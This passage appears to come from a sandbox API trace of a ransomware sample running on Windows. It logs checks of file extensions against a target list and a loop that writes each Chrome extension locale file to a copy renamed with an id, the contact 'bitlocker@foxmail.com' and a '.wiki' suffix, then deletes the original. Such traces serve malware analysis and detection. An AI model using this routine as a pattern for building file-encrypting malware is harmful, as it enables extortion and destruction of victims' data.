lpString2="json") returned -1 [0174.060] lstrlenW (lpString=".xls") returned 4 [0174.060] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.060] lstrlenW (lpString=".xlsx") returned 5 [0174.060] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.060] lstrlenW (lpString=".ppt") returned 4 [0174.060] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.060] lstrlenW (lpString=".zip") returned 4 [0174.060] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.060] lstrlenW (lpString=".rar") returned 4 [0174.060] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.060] lstrlenW (lpString=".bz2") returned 4 [0174.060] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.060] lstrlenW (lpString=".7z") returned 3 [0174.060] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.060] lstrlenW (lpString=".dbf") returned 4 [0174.060] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.060] lstrlenW (lpString=".1cd") returned 4 [0174.060] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.060] lstrlenW (lpString=".jpg") returned 4 [0174.060] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.061] lstrlenW (lpString=".doc") returned 4 [0174.061] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.061] lstrlenW (lpString=".docx") returned 5 [0174.061] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.061] lstrlenW (lpString=".pdf") returned 4 [0174.061] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.061] lstrlenW (lpString=".xls") returned 4 [0174.061] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.061] lstrlenW (lpString=".xlsx") returned 5 [0174.061] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.061] lstrlenW (lpString=".ppt") returned 4 [0174.061] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.061] lstrlenW (lpString=".zip") returned 4 [0174.061] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.061] lstrlenW (lpString=".rar") returned 4 [0174.061] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.061] lstrlenW (lpString=".bz2") returned 4 [0174.061] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.061] lstrlenW (lpString=".7z") returned 3 [0174.061] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.061] lstrlenW (lpString=".dbf") returned 4 [0174.061] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.061] lstrlenW (lpString=".1cd") returned 4 [0174.061] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.062] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.062] lstrlenW (lpString=".jpg") returned 4 [0174.062] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.062] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.062] lstrlenW (lpString="messages.json") returned 13 [0174.062] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.062] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=353) returned 1 [0174.062] CloseHandle (hObject=0x1b4) returned 1 [0174.062] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json")) returned 0x2020 [0174.062] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.063] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.063] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.063] GetLastError () returned 0x0 [0174.063] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x161, lpOverlapped=0x0) returned 1 [0174.064] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x170, lpOverlapped=0x0) returned 1 [0174.065] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.065] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.066] SetEndOfFile (hFile=0x124) returned 1 [0174.066] CloseHandle (hObject=0x124) returned 1 [0174.066] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.066] SetEndOfFile (hFile=0x1b4) returned 1 [0174.067] CloseHandle (hObject=0x1b4) returned 1 [0174.067] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.067] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json")) returned 1 [0174.067] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.067] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.067] lstrlenW (lpString=".doc") returned 4 [0174.067] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.067] lstrlenW (lpString=".docx") returned 5 [0174.067] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.067] lstrlenW (lpString=".pdf") returned 4 [0174.067] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.067] lstrlenW (lpString=".xls") returned 4 [0174.068] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.068] lstrlenW (lpString=".xlsx") returned 5 [0174.068] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.068] lstrlenW (lpString=".ppt") returned 4 [0174.068] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.068] lstrlenW (lpString=".zip") returned 4 [0174.068] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.068] lstrlenW (lpString=".rar") returned 4 [0174.068] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.068] lstrlenW (lpString=".bz2") returned 4 [0174.068] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.068] lstrlenW (lpString=".7z") returned 3 [0174.068] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.068] lstrlenW (lpString=".dbf") returned 4 [0174.068] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.068] lstrlenW (lpString=".1cd") returned 4 [0174.068] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.068] lstrlenW (lpString=".jpg") returned 4 [0174.068] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.068] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.068] lstrlenW (lpString=".doc") returned 4 [0174.068] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.069] lstrlenW (lpString=".docx") returned 5 [0174.069] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.069] lstrlenW (lpString=".pdf") returned 4 [0174.069] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.069] lstrlenW (lpString=".xls") returned 4 [0174.069] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.069] lstrlenW (lpString=".xlsx") returned 5 [0174.069] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.069] lstrlenW (lpString=".ppt") returned 4 [0174.069] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.069] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.069] lstrlenW (lpString=".zip") returned 4 [0174.069] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.069] lstrlenW (lpString=".rar") returned 4 [0174.069] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.069] lstrlenW (lpString=".bz2") returned 4 [0174.069] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.069] lstrlenW (lpString=".7z") returned 3 [0174.069] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.069] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.069] lstrlenW (lpString=".dbf") returned 4 [0174.069] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.069] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.069] lstrlenW (lpString=".1cd") returned 4 [0174.069] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.069] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 152 [0174.069] lstrlenW (lpString=".jpg") returned 4 [0174.069] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.070] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.070] lstrlenW (lpString="messages.json") returned 13 [0174.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.070] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=279) returned 1 [0174.070] CloseHandle (hObject=0x1b4) returned 1 [0174.070] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json")) returned 0x2020 [0174.070] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.070] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.071] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.071] GetLastError () returned 0x0 [0174.071] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x117, lpOverlapped=0x0) returned 1 [0174.072] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x120, lpOverlapped=0x0) returned 1 [0174.073] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.073] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.073] SetEndOfFile (hFile=0x124) returned 1 [0174.073] CloseHandle (hObject=0x124) returned 1 [0174.074] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.074] SetEndOfFile (hFile=0x1b4) returned 1 [0174.075] CloseHandle (hObject=0x1b4) returned 1 [0174.075] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.075] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json")) returned 1 [0174.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.075] lstrlenW (lpString=".doc") returned 4 [0174.075] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.075] lstrlenW (lpString=".docx") returned 5 [0174.075] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.075] lstrlenW (lpString=".pdf") returned 4 [0174.075] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.075] lstrlenW (lpString=".xls") returned 4 [0174.075] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.075] lstrlenW (lpString=".xlsx") returned 5 [0174.075] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.075] lstrlenW (lpString=".ppt") returned 4 [0174.076] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.076] lstrlenW (lpString=".zip") returned 4 [0174.076] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.076] lstrlenW (lpString=".rar") returned 4 [0174.076] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.076] lstrlenW (lpString=".bz2") returned 4 [0174.076] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.076] lstrlenW (lpString=".7z") returned 3 [0174.076] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.076] lstrlenW (lpString=".dbf") returned 4 [0174.076] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.076] lstrlenW (lpString=".1cd") returned 4 [0174.076] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.076] lstrlenW (lpString=".jpg") returned 4 [0174.076] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.076] lstrlenW (lpString=".doc") returned 4 [0174.076] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.076] lstrlenW (lpString=".docx") returned 5 [0174.076] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.076] lstrlenW (lpString=".pdf") returned 4 [0174.076] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.076] lstrlenW (lpString=".xls") returned 4 [0174.076] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.076] lstrlenW (lpString=".xlsx") returned 5 [0174.077] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.077] lstrlenW (lpString=".ppt") returned 4 [0174.077] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.077] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.077] lstrlenW (lpString=".zip") returned 4 [0174.077] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.077] lstrlenW (lpString=".rar") returned 4 [0174.077] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.077] lstrlenW (lpString=".bz2") returned 4 [0174.077] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.077] lstrlenW (lpString=".7z") returned 3 [0174.077] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.077] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 